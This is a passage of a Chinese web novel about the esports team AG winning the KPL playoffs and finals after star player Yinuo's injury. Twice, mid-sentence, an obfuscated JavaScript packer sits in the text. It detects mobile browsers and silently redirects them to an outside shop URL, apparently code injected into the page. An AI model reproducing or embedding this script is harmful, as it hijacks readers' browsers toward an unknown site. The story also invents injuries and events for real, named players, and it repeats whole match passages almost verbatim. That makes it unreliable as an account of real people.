一闪进场——但不是冲着C位,是冲着暖阳的裴擒虎。 秒掉! 核心打野阵亡,WB团战溃败。AG打出1换4,拿下暴君,带着兵线推上高地。 WB顽强抵抗,但终究不敌。 水晶爆炸。 4:1! AG战胜WB! 晋级季后赛四强! --- 现场彻底疯狂了。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,泪流满面。但这次,她的眼泪是喜悦的——喜悦地看到,AG没有垮,AG还在,AG的精神还在传承。 舞台上,AG四人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,轩染和大帅击掌。 导播把镜头给到医院病房。屏幕上,徐必成坐在病床上,左手举着手机在看直播。当他看到水晶爆炸时,他笑了,但笑着笑着,眼泪就流了下来。 赛后采访,记者把话筒递给长生。 “赢下关键战,感觉怎么样?” 长生想了想,说:“不是赢,是传承。诺哥把AG交给了我们,我们要做的,就是守住这份传承。今天,我们守住了。” “那一诺……” “诺哥在看着我们。”长生看向镜头,“他在病床上看着我们。我们知道,他在等我们——等他回来的时候,把更好的AG,还给他。” 采访结束,长生回到后台。 手机震动,是徐必成发来的消息:“打得很好。你成长了。” 长生盯着那条消息,很久。 然后他回复:“诺哥,我们会等你回来。等你回来的时候,AG还是冠军。” 发送。 关掉手机,长生看向窗外。 成都的夜空,星星在闪烁。 他知道,传承已经开始了。 从Cat到一诺,从一诺到他,从他到未来的新人。 电竞的路很长。 但传承的火种,永不熄灭。 --- 深夜,医院病房。 徐必成靠在床头,左手拿着平板,在看今天比赛的复盘。右手臂上的石膏很重,但他感觉心里轻松了很多。 因为他看到了——AG没有他,也能赢。AG的年轻人们,已经成长起来了。 门被轻轻推开。Cat拄着拐杖走进来,脸色还有些苍白,但眼神明亮。 “Cat哥。”徐必成想坐起来。 Cat摆摆手,在床边坐下:“今天比赛看了?” “看了。” “感觉怎么样?” “很好。”徐必成说,“他们成长得比我想象的还快。” “是啊。”Cat看着窗外,“这就是传承。我退役的时候,把AG交给了你。现在你伤了,把AG交给了他们。总有一天,他们也会把AG交给下一批人。但AG的精神,永远不会变。” 徐必成沉默了一会儿,然后问:“Cat哥,你说……我还能打吗?” Cat转过头,看着他:“你想听真话还是假话?” “真话。” “真话是——很难。”Cat说,“手腕二次撕裂,康复难度很大。就算康复了,状态也很难回到巅峰。但……” 他顿了顿:“但电竞从来不是只看状态的运动。它看意识,看经验,看领导力,看——心。如果你还有那颗想赢的心,就还能打。只是打法要变,角色要变,心态要变。” “怎么变?” “从carry核心,变成团队大脑。”Cat说,“像我今天看到的长生那样——用意识指挥,用经验决策,用领导力凝聚团队。输出可以少,操作可以糙,但大局观必须顶级。” 徐必成若有所思。 “不过这些都不急。”Cat站起来,“你现在要做的,就是好好养伤。把伤养好,把心态调整好。然后,再决定要不要继续打。” 他走到门口,又回头:“无论你做什么决定,我都支持你。因为你是徐必成,是一诺,是——AG的传承。” 门关上了。 徐必成一个人坐在病房里,看着窗外的夜空。 传承。 这个词,现在他懂了。 传承不是一个人的坚持,是一代人的接力。 他现在要做的,不是急着回到赛场。 是把伤养好,把心态调整好,然后——以更好的姿态,接过Cat传来的火炬,再传给下一代。 窗外的星星很亮。 像希望,像未来,像——传承之光。 【第二十二章·完】 23. 新王当立 2022年9月,上海KPL电竞中心 雨水从傍晚开始下,淅淅沥沥敲在体育馆巨大的玻璃穹顶上,声音被场馆内山呼海啸般的声浪完全淹没。三万人的场馆座无虚席,黑红与蓝黑两种颜色将观众席撕裂成两个对立的阵营,像两军对垒的战场。 林晓晓坐在第三排,手里紧紧攥着一张纸——那是一诺和Cat联名写给AG粉丝的公开信复印件。信是今天早上在AG官博发布的,标题是《传承与希望》。信中,一诺坦然承认手腕伤情严重,可能需要长时间康复;Cat正式宣布退役,转型AG赛训总监。信的结尾写道:“AG不会因为任何人的离开而倒下,因为AG从来不是一个人的战队。它是一代代选手用青春和热血浇筑的精神图腾。今天,我们将这份精神传递给长生、轩染、钟意、大帅、云黎——这群年轻的追梦者。请相信他们,就像曾经相信我们一样。” 信的下面,是一张照片:病床上的徐必成和拄着拐杖的Cat,分别把一只手搭在长生的左右肩膀上。长生的表情严肃,眼神里有一种超越年龄的沉稳。 “晓晓,你看那边。”陈薇碰了碰她的手臂。 林晓晓顺着她的目光看去,观众席的另一端,有一片区域坐着统一穿着白色T恤的粉丝,T恤上印着“传承之光”四个字——那是她发起的应援活动衍生出的线下组织。此刻,那片白色的区域在黑红和蓝黑的海洋中,像一道光,微弱但坚定。 “今天会很难。”陈薇低声说。 林晓晓点头。她知道今天有多难——季后赛四强战,AG对阵DYG。DYG是上赛季的冠军,这个赛季状态依旧火热,清清、小义、萧玦、易峥、星宇五个位置都是联盟顶级。而AG,失去了一诺,战术核心还在磨合,季后赛经验严重不足。 更重要的是——Cat虽然转型赛训总监,但身体还没完全恢复,今天不会出现在教练席。坐在教练席上的,是刚刚从助理教练转正的月光。 新教练,新指挥,新核心。 一切都是新的。 包括——压力。 --- 后台休息室,AG备战区。 长生盯着战术白板,手指无意识地敲击桌面。白板上画着DYG最近五场比赛的战术分析图,密密麻麻的箭头和符号像一张天罗地网,把AG所有可能的战术路径都覆盖了。 “他们的运营转线太强了。”钟意说,“清清的边路带线,小义的野区控制,萧玦的中路支援,易峥的稳定输出,星宇的精准开团——几乎没有破绽。” “有破绽。”长生推了推眼镜,指着白板上的一个点,“这里,第十六分钟到十八分钟,DYG习惯在这个时间段抱团推中。因为这个时候他们装备基本成型,团战能力强。但如果我们能在这个时间点前,打乱他们的节奏呢?” “怎么打乱?”轩染问。 长生在白板上写下两个字:“换线。” “换线?”大帅皱眉,“可是DYG的换线处理得很好……” “不是常规换线。”长生说,“是——双人换线。我和钟意换,你和轩染换。我们打乱分路,打乱对位,让他们无法针对。” 听起来很冒险。 但AG现在,只能冒险。 因为按部就班地打,他们赢不了DYG。只有出奇,才能制胜。 门被推开,月光走进来。这个曾经的AG冠军教练,在Cat病退后临危受命,重新执掌教鞭。他的表情很平静,但眼角的皱纹比一个月前深了很多。 “准备得怎么样?”月光问。 “准备好了。”长生说。 月光看着他,看了很久,然后拍了拍他的肩膀:“今天你是场上指挥,也是战术核心。不要有压力,按你的想法打。输了,责任我来担。” 长生深吸一口气,点头。 --- 舞台上,选手入场。 当AG四人走上舞台时,现场爆发出巨大的声浪——有欢呼,有嘘声,有质疑,有期待。导播很懂地把镜头给到长生,大屏幕上,这个19岁的中单少年表情平静得像一潭深水,但握紧的拳头暴露了他的紧张。 “今天是AG新生代的第一次大考。”解说李九的声音透过音响传来,“一诺伤退,Cat转型,AG的指挥权交到了19岁的长生手中。他能否担起这份重担,带领AG闯过DYG这一关?” 琪琪接话:“而且版本对AG并不友好。这个版本强调中野辅联动,但AG的中单长生打法偏发育,打野钟意偏节奏,辅助大帅偏开团——三人的风格需要完美融合才能发挥威力。今天,就是检验他们磨合成果的时候。” BP开始。 --- DYG蓝色方。 教练SK站在选手席后方,表情轻松。在他看来,没有一诺的AG就像没了利爪的老虎,不足为惧。更何况,今天指挥AG的是个19岁的新人。 “禁镜和澜。”SK说,“针对钟意。” DYG前两Ban果然给到了这两个打野。AG则按掉了大乔和鲁班大师。 “一楼拿裴擒虎。”SK说,“给他们阿古朵,看他们敢不敢拿。” DYG锁定裴擒虎。AG毫不犹豫地锁定了阿古朵——钟意最熟悉的蓝领野。 “有魄力。”SK笑了,“那我们就不客气了。” DYG二三楼拿出了清清的关羽和萧玦的西施——极致的控制链。 AG三四楼选择了长生不知火舞和轩染的马超。 DYG最后两手锁定了易峥的虞姬和星宇的张飞。 AG五楼,大帅拿出了他的招牌英雄——鬼谷子。 阵容确定: AG:阿古朵(钟意)、不知火舞(长生)、马超(轩染)、鬼谷子(大帅)、狄仁杰(云黎) DYG:裴擒虎(小义)、西施(萧玦)、虞姬(易峥)、张飞(星宇)、关羽(清清) 加载界面,长生活动了一下手指。 冰凉,但稳定。 “记住战术。”他在语音里说,“双人换线,打乱节奏。钟意跟我换,大帅跟轩染换。我们打他们一个措手不及。” “明白。” 游戏开始。 开局,AG的换线让DYG完全懵了。 本该走中路的不知火舞,去了发育路。本该走发育路的狄仁杰,去了中路。本该走对抗路的马超,去了辅助位。本该走辅助位的鬼谷子,去了对抗路。 乱。 极致的乱。 DYG显然不习惯这种打法。他们习惯了常规对线,习惯了针对分路,习惯了按部就班的运营。但现在,AG像一盘被打乱的拼图,根本找不到规律。 “他们在乱玩?”清清在语音里说。 “不管他们。”SK在场外指挥,“按我们的节奏打。” 但DYG的节奏,已经被打乱了。 因为AG的换线不是乱换,是有战术目的的换线。不知火舞走发育路,是为了压制易峥的虞姬——法刺打射手,前期有绝对优势。狄仁杰走中路,是为了快速清线快速支援——狄仁杰清线速度比不知火舞快,支援速度也快。马超走辅助位,是为了游走抓人——马超的高机动性,配合鬼谷子的开团,能打出致命控制链。鬼谷子走对抗路,是为了抗压——鬼谷子的灵活性能让他在对抗路存活,甚至单杀。 完美换线。 四分钟,AG经济领先一千。 “这就是长生的指挥!”李九激动地说,“大胆的换线,完美的执行!AG在没有一诺的情况下,打出了令人惊艳的战术素养!” 八分钟,暴君团。AG利用换线优势,打出完美团战。长生不知火舞秒掉易峥虞姬,钟意阿古朵控住小义裴擒虎,轩染马超收割残局。 团灭。 一波。 1:0! AG拿下第一局! --- 中场休息,DYG休息室。 SK的脸色很难看。他盯着屏幕上的回放,一帧一帧地分析AG的换线战术。 “他们不是乱玩。”SK说,“是有预谋的战术。长生这小子……比我们想象的还要聪明。” “那下一局……”清清问。 “禁掉不知火舞和鬼谷子。”SK说,“不给他们换线的机会。” --- 第二局BP开始。 DYG蓝色方,果然禁掉了不知火舞和鬼谷子。AG则按掉了大乔和鲁班大师。 DYG一楼抢下了清清的关羽。 AG一楼锁定了镜——钟意最自信的英雄。 DYG二三楼拿出了小义的澜和萧玦的西施。 AG三四楼选择了长生干将莫邪和轩染的马超。 DYG最后两手锁定了易峥的马可波罗和星宇的张飞。 AG五楼,大帅拿出了他的招牌英雄——太乙真人。 阵容确定: AG:镜(钟意)、干将莫邪(长生)、马超(轩染)、太乙真人(大帅)、狄仁杰(云黎) DYG:澜(小义)、西施(萧玦)、马可波罗(易峥)、张飞(星宇)、关羽(清清) 加载界面,长生深呼吸。 DYG禁掉了他的不知火舞和大帅的鬼谷子,打乱了他们的换线战术。 但他们还有plan B。 “这一局,打中野联动。”长生在语音里说,“钟意,你跟我。我们抓崩他们的边路。” “明白。” 游戏开始。 这一局,AG打得极其凶悍。钟意的镜二级就入侵野区,长生的干将莫邪三级就游走。两人像连体婴儿一样,走到哪杀到哪。 DYG显然没料到AG会这么打。他们习惯了AG的保守,习惯了AG的运营,习惯了AG的换线。但现在,AG像两头饿狼,见人就咬,见塔就推,见龙就打。 乱。 比上一局还乱。 但这次的乱,不是战术的乱,是节奏的乱。是长生用他顶级的中单意识,配合钟意顶级的打野操作,打出来的节奏压制。 十二分钟,AG推掉DYG三路外塔。 十五分钟,风暴龙王团。长生的干将莫邪四剑齐发,秒掉易峥的马可波罗和萧玦的西施。 双杀! DYG核心双C阵亡,团战溃败。AG拿下龙王,带着兵线一波推平水晶。 2:0! AG再下一城! “长生!又是长生!”琪琪激动地喊道,“他用干将莫邪carry了比赛!在没有一诺的情况下,他成为了AG的新核心!这就是传承!这就是希望!” --- 第三局,DYG背水一战。 他们拿出了压箱底的东西:清清猪八戒,小义裴擒虎,萧玦沈梦溪,易峥公孙离,星宇太乙真人。 极致的运营阵容,要用经验和节奏碾压AG。 AG这边,长生选择了上官婉儿——他的另一个法刺绝活。 加载界面,长生活动了一下手指。 这是赛点局。 赢了,就进总决赛。 输了,就要打第四局,第五局,给DYG翻盘的机会。 不能输。 “这一局,我们要在十五分钟内结束比赛。”他在语音里说,“拖得越久,对我们越不利。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028861|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明白。” 游戏开始。 这一局,DYG打得极其稳健。清线,控野,做视野,步步为营。他们要运营,要拖后期,要用经验打败AG的年轻气盛。 但AG不给机会。 长生的上官婉儿,像一道黑色的闪电。四级就开始游走,六级就开始越塔,八级就开始单杀。 他疯了。 不,不是疯,是——拼了。 拼尽全力,拼尽一切,拼到——赢为止。 十分钟,AG经济领先三千。 十二分钟,AG拿下主宰。 十四分钟,AG带着主宰先锋上高地。 十五分钟,高地团。 决定胜负的一波。 清清的猪八戒闪现开团,大中三人。小义的裴擒虎进场收割。但几乎同时,大帅的太乙真人也开到了DYG的后排。 混战。 长生的上官婉儿在侧翼寻找机会。他没有急着进场,而是在等,等DYG的关键技能。 等太乙真人的大招,等猪八戒的控制,等裴擒虎的爆发。 然后,他动了。 起飞——但不是冲着C位,是冲着清清的猪八戒。 秒掉! 前排倒下,DYG阵型崩溃。AG打出1换4,团灭DYG,推平水晶。 3:0! AG零封DYG! 晋级总决赛! --- 现场彻底疯狂了。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,泪流满面。但这次,她的眼泪是纯粹的喜悦——喜悦地看到,传承成功了。新的王者,站起来了。 舞台上,AG四人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,轩染和大帅又哭又笑。 导播把镜头给到医院病房。屏幕上,徐必成坐在病床上,左手举着手机在看直播。当他看到水晶爆炸时,他笑了,笑着笑着,眼泪就流了下来。然后,他举起左手,竖起了大拇指。 导播又把镜头给到观众席。那片穿着白色“传承之光”T恤的区域,所有人都在起立鼓掌,掌声像潮水一样,席卷了整个场馆。 赛后采访,记者把话筒递给长生。 “零封DYG,晋级总决赛,感觉怎么样?” 长生想了想,说:“不是零封,是传承。是诺哥和Cat哥把经验教给了我们,是月光教练把战术教给了我们,是粉丝把信任给了我们。我们只是——把这份传承,变成了胜利。” “那一诺……” “诺哥在看着我们。”长生看向镜头,“他在病床上看着我们。我们知道,他在等我们——等他回来的时候,把冠军奖杯,亲手交给他。” 采访结束,长生回到后台。 手机震动,是徐必成发来的消息:“打得很好。你现在,是AG的领袖了。” 长生盯着那条消息,很久。 然后他回复:“诺哥,我会带着AG,拿到冠军。然后,等你回来。” 发送。 关掉手机,长生看向窗外。 上海的夜空,霓虹闪烁。 他知道,传承已经完成了。 从Cat到一诺,从一诺到他。 现在,他是AG的新王。 他要做的,就是带着这份传承,带着这份责任,带着这份希望—— 走向总决赛。 走向冠军。 走向——新的时代。 --- 深夜,医院病房。 徐必成靠在床头,左手拿着平板,在看今天比赛的复盘。右臂上的石膏很重,但他心里很轻。 因为他看到了——AG的新王,立起来了。 门被轻轻推开。Cat拄着拐杖走进来,脸色红润了很多。 “看了?”Cat问。 “看了。”徐必成说,“长生打得很棒。” “是啊。”Cat在床边坐下,“他比你当年还冷静,还沉稳。这就是成长,这就是传承。” 两人沉默了一会儿,看着窗外的夜景。 “Cat哥。”徐必成忽然问,“你说……我还能回来吗?” Cat转过头,看着他:“你想回来吗?” “想。”徐必成说,“但不是为了carry,不是为了证明自己。是为了——和他们一起战斗。为了把Cat哥你教给我的,教给下一批新人。为了……完成传承。” Cat笑了:“那就回来。但回来之前,先把伤养好。把心态调整好。然后,以新的身份,新的角色,新的姿态——回来。” “新的身份?” “比如——队长兼教练。”Cat说,“像我现在这样。在场上指挥,在场下教人。用经验帮助团队,用意识带领团队。输出可以少,操作可以糙,但大局观必须顶级。” 徐必成若有所思。 “不过这些都不急。”Cat站起来,“你现在要做的,就是好好养伤。总决赛,我会去现场。我会看着长生,带着你的意志,拿下冠军。” 他走到门口,又回头:“然后,等你回来的时候——我们一起,培养下一代。” 门关上了。 徐必成一个人坐在病房里,看着窗外的夜空。 新的身份。 新的角色。 新的时代。 他知道,属于他的carry时代,可能真的结束了。 但属于他的传承时代,才刚刚开始。 窗外的星星很亮。 像长生的眼睛,像AG的未来,像——新王当立的时代。 【第二十三章·完】 24. 荣光再临 2022年10月,深圳湾体育中心 海风从深圳湾吹来,带着咸涩的湿气。傍晚时分,夕阳把体育馆的玻璃幕墙染成一片血红,像燃烧的火焰,又像凝固的血液。 林晓晓站在场馆外的广场上,仰头看着这座能容纳五万人的庞然大物。她的手里紧紧攥着一张门票——总决赛第一排,正对舞台中央。这张票是AG俱乐部寄给她的,附着一封简短的信:“感谢你对AG的支持,总决赛现场,请见证。” 广场上已经人山人海。AG的黑红色和Estar的深蓝色把整个广场切割成两个对立的国度,旗帜飘扬,口号震天。但最引人注目的,是广场中央那片白色的区域——超过两千名穿着“传承之光”白色T恤的粉丝,手拉手站成一个巨大的圆形,圆形的中心,是一面巨大的AG队旗。 这是林晓晓一个月前在线上发起,最终在线下实现的应援活动。没有狂热的呐喊,没有激烈的对抗,只有安静的站立和手中的蜡烛——每一支蜡烛都代表一个无法到场的AG粉丝,通过网络直播参与这场无声的应援。 “晓晓!”陈薇穿过人群跑过来,手里拿着两件白色的T恤,“快穿上,活动要开始了。” 林晓晓接过T恤穿上。T恤的正面印着“传承之光”四个字,背面是一行小字:“无论你在哪里,AG与你同在。” 晚上六点整,广场上的灯光暗了下来。两千支蜡烛同时点亮,白色的光点在暮色中连成一片星海。没有人说话,只有海风拂过烛火的声音,像低语,像祈祷。 林晓晓站在人群的最前方,闭上眼睛。她想起了这三年——从2019年那个在宿舍偷偷看总决赛的高中生,到2022年站在总决赛现场组织应援活动的医学院研究生;从单纯地喜欢一诺的操作,到理解整个AG团队的精神;从一个普通粉丝,到一个想要为这个行业做点什么的人。 这三年,她见证了AG的巅峰与低谷,见证了一诺的荣耀与伤病,见证了Cat的退役与转型,见证了长生的成长与崛起。 现在,她将要见证——传承的完成。 手机震动,是一诺发来的消息:“现场看到了,很震撼。谢谢你。” 林晓晓盯着那条消息,很久。然后她回复:“应该是我谢谢你。谢谢你让我看到了什么是坚持,什么是传承。今晚,无论输赢,你们都是英雄。” 发送。 她抬起头,看向体育馆。那里,五个少年即将踏上他们职业生涯最重要的舞台。 那里,新的传奇,即将诞生。 --- 后台备战室,AG选手休息区。 长生盯着战术白板,手指在空气中虚点,像是在演练什么。白板上画着Estar最近十场比赛的战术分析图,旁边密密麻麻地贴着便签纸——每一张便签上都写着Cat和一诺的战术建议。 “Estar的强点是中野辅联动。”Cat的声音从扬声器里传来——他正在医院的康复中心,通过视频连线参与赛前准备,“清融的中单支援速度联盟第一,花海的野区节奏无可挑剔,子阳的开团精准致命。但他们的弱点也很明显——边路。坦然的边路很稳,但太稳了,稳到缺乏carry能力。” “所以我们要针对边路?”轩染问。 “不。”一诺的声音从另一个扬声器传来——他也在医院,手腕的石膏刚拆,但还不能进行高强度训练,“我们要利用他们的稳。坦然稳,就意味着他不敢冒险,不敢单带,不敢离开团队。这意味着——Estar永远会打五人团。” 他顿了顿:“而我们,要打四一分带。” 四一分带。 这个战术AG用过很多次,但今天要用,需要极致的执行力和极致的勇气。因为Estar不是普通的队伍,他们是联盟第一,是运营之王,是团队协作的典范。 打四一分带,就意味着要用四个人牵制Estar的五个人,用一个人去带线推塔。这意味着巨大的压力,巨大的风险,巨大的——机会。 “我来带线。”轩染第一个说。 “我来指挥四。”长生说。 “我来开团。”大帅说。 “我来切后。”钟意说。 “我来抗压。”云黎说——这个17岁的替补射手,今天将第一次在总决赛首发。 五个人,五个位置,五个决心。 月光站在白板前,看着这五个少年,眼眶有些发热。他想起了2019年,他带领AG夺冠时的场景——那时候的一诺,也像现在的长生一样,眼里有光,心里有火。 传承,真的完成了。 “好。”月光点头,“那就——四一分带。轩染,你拿老夫子,极致单带。长生,你拿张良,极致控制。钟意,你拿阿古朵,极致保护。大帅,你拿鬼谷子,极致开团。云黎,你拿狄仁杰,极致抗压。” 他顿了顿:“但记住,战术是死的,人是活的。场上情况瞬息万变,你们要随机应变。长生,你是场上指挥,你说了算。” 长生推了推眼镜,眼神坚定:“明白。” --- 晚上七点,选手入场。 当AG五人走上舞台时,现场爆发出山呼海啸般的声浪。导播很懂地把镜头给到长生——大屏幕上,这个19岁的中单少年走在队伍最前面,表情平静得像一潭深水,但握紧的拳头暴露了他的决心。 “欢迎来到2022年KPL夏季赛总决赛!”解说李九的声音响彻全场,“AG超玩会对阵武汉eStarPro!这是两支队伍连续第二个赛季在总决赛相遇!去年,AG在总决赛失利。今年,他们卷土重来,带着全新的阵容,全新的战术,全新的——希望!” 琪琪接话:“而且今天的AG完全不同。一诺伤退,Cat转型,指挥权交给了19岁的长生。这位年轻的中单能否带领AG完成复仇,拿下队史第二冠?” 观众席上,林晓晓紧紧握着陈薇的手。 她能感觉到,长生在成长。从一个依赖一诺carry的新人,到一个能独当一面的领袖。从一个只会操作的选手,到一个懂得战术的指挥。 这就是传承。 这就是希望。 BP开始。 --- Estar蓝色方。 教练47站在选手席后方,表情严肃。他虽然看不起没有一诺的AG,但不会轻视任何一支打进总决赛的队伍。 “禁镜和澜。”47说,“针对钟意。” Estar前两Ban果然给到了这两个打野。AG则按掉了大乔和鲁班大师。 “一楼拿裴擒虎。”47说,“给他们阿古朵,看他们敢不敢拿。” Estar锁定裴擒虎。AG毫不犹豫地锁定了阿古朵——钟意最熟悉的蓝领野。 “有魄力。”47皱眉,“那我们就不客气了。” Estar二三楼拿出了清融的西施和易峥的虞姬——极致的控制加输出。 AG三四楼选择了长生张良和轩染的老夫子。 Estar最后两手锁定了子阳的张飞和坦然的吕布。 AG五楼,大帅拿出了他的招牌英雄——鬼谷子。 阵容确定: AG:阿古朵(钟意)、张良(长生)、老夫子(轩染)、鬼谷子(大帅)、狄仁杰(云黎) Estar:裴擒虎(花海)、西施(清融)、虞姬(易峥)、张飞(子阳)、吕布(坦然) 加载界面,长生活动了一下手指。 冰凉,但稳定。 “记住战术。”他在语音里说,“四一分带,极致执行。轩染,你就带线,不要管我们。我们四个,就一个字——拖。” “明白。” 游戏开始。 开局,Estar打得极其稳健。清线,控野,做视野,步步为营。他们要运营,要拖后期,要用经验打败AG的年轻气盛。 但AG不给机会。 轩染的老夫子,从上路一路带到底。不清线,只推塔。不参团,只牵制。不发育,只带线。 Estar显然不习惯这种打法。他们习惯了抓人,习惯了打团,习惯了运营。但现在,AG的老夫子像个幽灵,永远在带线,永远在推塔,永远在——恶心人。 八分钟,老夫子推掉了上路二塔。 十分钟,老夫子推掉了上路高地。 十二分钟,老夫子带着兵线,准备推水晶。 Estar被迫回防,AG其他四人趁机推掉了中路一塔。 “这就是Cat的战术!”李九激动地说,“极致的四一分带,极致的边核体系!AG在没有一诺的情况下,打出了完全不同的风格!” 但Estar毕竟是顶级强队。他们调整很快,坦然的吕布开始单防老夫子,清融的西施开始游走抓单。 十五分钟,轩染的老夫子被抓死三次,带线节奏被打断。 而AG其他四人,在四打五的团战中,渐渐支撑不住。 二十分钟,风暴龙王团。Estar强开,AG被迫接团。虽然长生的张良极限操作,控住花海的裴擒虎,但终究寡不敌众。 团灭。 一波。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 气氛有些凝重,但没人沮丧。 “我的问题。”轩染说,“我被针对了,没带起来。” “不,是我的问题。”钟意说,“我的阿古朵节奏没带好。” “我的问题。”长生说,“我的张良控制没给到位。” “我的问题。”大帅说,“我的鬼谷子开团开得不好。” “我的问题。”云黎说,“我的狄仁杰输出不够。” 月光看着他们,叹了口气:“现在不是分锅的时候。现在的问题是——下一局怎么打?如果继续打四一分带,Estar已经知道怎么针对了。” “那就换战术。”长生推了推眼镜,“Cat哥给了我们三套战术。第一套四一分带,输了。那我们就用第二套——中野联动。” “中野联动?”钟意皱眉,“可是版本……” “版本重要,但赢比赛更重要。”长生说,“第二局,围绕我打。我拿不知火舞,钟意你拿镜,我们抓崩他们的边路。” 四个人对视一眼,然后点头。 “好。”钟意说,“那就中野联动。” --- 第二局BP开始。 Estar蓝色方,禁掉了老夫子和鬼谷子——针对AG的四一分带体系。 AG则按掉了大乔和鲁班大师。 Estar一楼抢下了清融的不知火舞。 AG一楼锁定了镜——钟意最自信的英雄。 Estar二三楼拿出了花海的裴擒虎和易峥的虞姬。 AG三四楼选择了长生不知火舞和轩染的马超。 Estar最后两手锁定了子阳的张飞和坦然的吕布。 AG五楼,大帅拿出了他的招牌英雄——太乙真人。 阵容确定: AG:镜(钟意)、不知火舞(长生)、马超(轩染)、太乙真人(大帅)、狄仁杰(云黎) Estar:裴擒虎(花海)、不知火舞(清融)、虞姬(易峥)、张飞(子阳)、吕布(坦然) 加载界面,长生深呼吸。 这是他的不知火舞,对阵清融的不知火舞。 法刺对法刺。 新人王对老法王。 他必须赢。 游戏开始。 这一局,AG打得极其凶悍。钟意的镜二级就入侵野区,长生的不知火舞三级就游走。两人像连体婴儿一样,走到哪杀到哪。 Estar显然没料到AG会这么打。他们习惯了AG的保守,习惯了AG的运营,习惯了AG的四一分带。但现在,AG像两头饿狼,见人就咬,见塔就推,见龙就打。 乱。 比上一局还乱。 但这次的乱,不是战术的乱,是节奏的乱。是长生用他顶级的中单意识,配合钟意顶级的打野操作,打出来的节奏压制。 十二分钟,AG推掉Estar三路外塔。 十五分钟,风暴龙王团。长生的不知火舞一闪进场,秒掉易峥的虞姬和清融的不知火舞。 双杀! Estar核心双C阵亡,团战溃败。AG拿下龙王,带着兵线一波推平水晶。 1:1! 比分扳平! “长生!又是长生!”琪琪激动地喊道,“他用不知火舞carry了比赛!在对位清融的情况下,他打出了更好的表现!这就是新生代的力量!” --- 第三局,Estar调整战术,疯狂针对中路。 但AG也变了——这一局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028862|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,核心是钟意。 他的澜,像一道闪电。入侵野区,抓边路,控资源,带节奏。十分钟,他已经超神,经济领先对面打野两千。 “钟意也站出来了!”李九激动地说,“野核carry!AG现在有三核了——轩染的边核,长生的中核,钟意的野核!这就是Cat设计的战术——每个人都能carry,每个人都是核心!” 2:1,AG反超比分。 第四局,Estar背水一战,拿出了他们最擅长的运营体系。 但AG已经打疯了。这一局,carry的是大帅——他的鬼谷子,每一次开团都精准致命,每一次控制都恰到好处。 3:1,AG拿下赛点! “让一追三!”李九的声音已经嘶哑,“在没有一诺的情况下,AG完成了让一追三!他们证明了——AG不是一个人的队伍,是五个人的队伍,是一代代选手传承下来的精神!” --- 第五局,巅峰对决。 Estar拿出了压箱底的东西:坦然猪八戒,花海裴擒虎,清融沈梦溪,易峥公孙离,子阳太乙真人。 极致的运营阵容,要用经验和节奏碾压AG。 AG则选择了极致的团队阵容:钟意阿古朵,长生干将莫邪,轩染马超,大帅鬼谷子,云黎狄仁杰。 加载界面,长生活动了一下手指。 这是赛点局。 赢了,就夺冠。 输了,就要打第六局,第七局,给Estar翻盘的机会。 不能输。 “这一局,我们要在十五分钟内结束比赛。”他在语音里说,“拖得越久,对我们越不利。” “明白。” 游戏开始。 这一局,Estar打得极其稳健。清线,控野,做视野,步步为营。他们要运营,要拖后期,要用经验打败AG的年轻气盛。 但AG不给机会。 长生的干将莫邪,像一台精密的炮台。每一剑都精准致命,每一次大招都毁天灭地。八分钟,他已经拿了五个人头,经济领先全场。 “长生!”李九惊呼,“他carry了!在没有一诺的情况下,他站出来了!” 十二分钟,风暴龙王团。长生的干将莫邪四剑齐发,秒掉易峥的公孙离和清融的沈梦溪。 双杀! Estar核心双C阵亡,团战溃败。AG拿下龙王,带着兵线一波推平水晶。 4:1! AG战胜Estar! 夺得2022年KPL夏季赛总冠军! --- 现场彻底疯狂了。 金色的雨从天花板上倾泻而下,洒满整个舞台。AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,泪流满面。但这次,她的眼泪是纯粹的喜悦——喜悦地看到,传承成功了,新王登基了,AG回来了。 舞台上,AG四人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,轩染和大帅又哭又笑。 导播把镜头给到医院病房。屏幕上,徐必成坐在病床上,左手举着手机在看直播。当他看到水晶爆炸时,他笑了,笑着笑着,眼泪就流了下来。然后,他举起左手,竖起了大拇指。 导播又把镜头给到医院的康复中心。屏幕上,Cat坐在轮椅上,身上还连着监护设备。当他看到水晶爆炸时,他也笑了,笑着笑着,眼眶就红了。 颁奖典礼,银龙杯在舞台中央熠熠生辉。 AG四人走上舞台,站在奖杯前。主持人将话筒递给长生:“作为AG的新队长,有什么想说的?” 长生接过话筒,看着台下黑压压的人群,看着身边三个同样年轻的队友,看着漫天飘落的金色雨。 “这个冠军,不属于我一个人。”他说,“属于轩染,属于钟意,属于大帅,属于云黎,属于月光教练,属于Cat总监,属于一诺队长,属于所有支持AG的人。” 